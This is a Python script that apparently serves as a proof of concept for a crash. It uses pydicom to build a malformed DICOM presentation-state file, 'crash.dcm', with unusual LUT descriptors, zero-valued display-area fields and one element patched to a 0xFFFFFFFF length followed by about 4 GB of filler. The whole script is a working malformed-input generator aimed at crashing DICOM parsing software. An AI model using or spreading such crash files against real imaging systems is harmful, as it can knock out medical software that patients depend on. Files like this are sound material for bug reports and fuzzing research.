|
from pydicom.dataset import Dataset, FileDataset, FileMetaDataset
|
|
from pydicom.sequence import Sequence
|
|
from pydicom.uid import generate_uid
|
|
from pydicom.uid import (
|
|
ImplicitVRLittleEndian,
|
|
GrayscaleSoftcopyPresentationStateStorage,
|
|
PYDICOM_IMPLEMENTATION_UID,
|
|
)
|
|
import datetime
|
|
import os
|
|
|
|
FIND_MARKER = "X" * 2
|
|
|
|
|
|
def create_pr_dicom_with_graphic_layer(filename):
|
|
file_meta = FileMetaDataset()
|
|
file_meta.TransferSyntaxUID = ImplicitVRLittleEndian
|
|
# Using Presentation State (1.2.840.10008.5.1.4.1.1.7.1) for Modality 'PR'
|
|
file_meta.MediaStorageSOPClassUID = GrayscaleSoftcopyPresentationStateStorage
|
|
file_meta.MediaStorageSOPInstanceUID = generate_uid()
|
|
file_meta.ImplementationClassUID = PYDICOM_IMPLEMENTATION_UID
|
|
file_meta.ImplementationVersionName = "PYDICOM"
|
|
|
|
ds = FileDataset(
|
|
filename,
|
|
{},
|
|
file_meta=file_meta,
|
|
preamble=b"\0" * 128,
|
|
)
|
|
|
|
now = datetime.datetime.now()
|
|
ds.ContentDate = ds.StudyDate = ds.SeriesDate = ds.AcquisitionDate = now.strftime(
|
|
"%Y%m%d"
|
|
)
|
|
ds.ContentTime = ds.StudyTime = ds.SeriesTime = ds.AcquisitionTime = now.strftime(
|
|
"%H%M%S.%f"
|
|
)
|
|
|
|
ds.SOPClassUID = file_meta.MediaStorageSOPClassUID
|
|
ds.SOPInstanceUID = file_meta.MediaStorageSOPInstanceUID
|
|
ds.StudyInstanceUID = generate_uid()
|
|
ds.SeriesInstanceUID = generate_uid()
|
|
|
|
# Patient/Study/Series/SOP Instance
|
|
ds.PatientName = "Test^Patient"
|
|
ds.PatientID = "123456"
|
|
ds.StudyID = "1001"
|
|
ds.SeriesNumber = "1"
|
|
ds.InstanceNumber = "1"
|
|
|
|
ds.Modality = "PR"
|
|
|
|
# Create an empty sequence
|
|
s = Sequence()
|
|
|
|
i = Dataset()
|
|
i.LUTDescriptor = [0xAAAA, 0xBBBB, 0xCCCC]
|
|
i.LUTData = b"AAAABBBBCCCC"
|
|
|
|
s.append(i)
|
|
|
|
ds.PresentationLUTShape = "INVERSE"
|
|
ds.PresentationLUTSequence = s
|
|
|
|
# This will be replaced later with 0xFFFFFFFF values
|
|
ds.add_new(0x00181600, "CS", FIND_MARKER)
|
|
|
|
# displayedAreaSelectionList
|
|
|
|
s2 = Sequence()
|
|
|
|
def createDvpsDisplayedArea():
|
|
i2 = Dataset()
|
|
i2.DisplayedAreaTopLeftHandCorner = [0, 0]
|
|
i2.DisplayedAreaBottomRightHandCorner = [0, 0]
|
|
i2.PresentationSizeMode = "MAGNIFY"
|
|
i2.PresentationPixelSpacing = [0.0, 0.0]
|
|
i2.PresentationPixelAspectRatio = [0.0, 0.0]
|
|
i2.PresentationPixelMagnificationRatio = [0.0]
|
|
return i2
|
|
|
|
s2.append(Dataset())
|
|
s2.append(createDvpsDisplayedArea())
|
|
ds.DisplayedAreaSelectionSequence = s2
|
|
|
|
# presentationLabel
|
|
ds.ContentLabel = "UNNAMED"
|
|
# presentationCreationDate
|
|
ds.PresentationCreationDate = "20240214"
|
|
# presentationCreationTime
|
|
ds.PresentationCreationTime = "00"
|
|
|
|
ds.is_little_endian = True
|
|
ds.is_implicit_vr = True
|
|
|
|
ds.save_as(filename)
|
|
|
|
print(f"Successfully created DICOM file: {filename}")
|
|
print(f"Modality: {ds.Modality}")
|
|
print(f"Transfer Syntax: {ds.file_meta.TransferSyntaxUID.name}")
|
|
|
|
|
|
filename = "crash.dcm"
|
|
if os.path.exists(filename):
|
|
os.remove(filename)
|
|
|
|
create_pr_dicom_with_graphic_layer(filename)
|
|
|
|
# Fill up with addiional values
|
|
with open(filename, "r+b") as f:
|
|
data = f.read()
|
|
position = data.find(FIND_MARKER.encode())
|
|
ender = data[position + len(FIND_MARKER) :]
|
|
f.seek(position - 4)
|
|
|
|
length = 0xFFFFFFFF
|
|
import struct
|
|
|
|
f.write(struct.pack("<I", length))
|
|
|
|
f.write(b"X" * (length))
|
|
f.write(ender)
|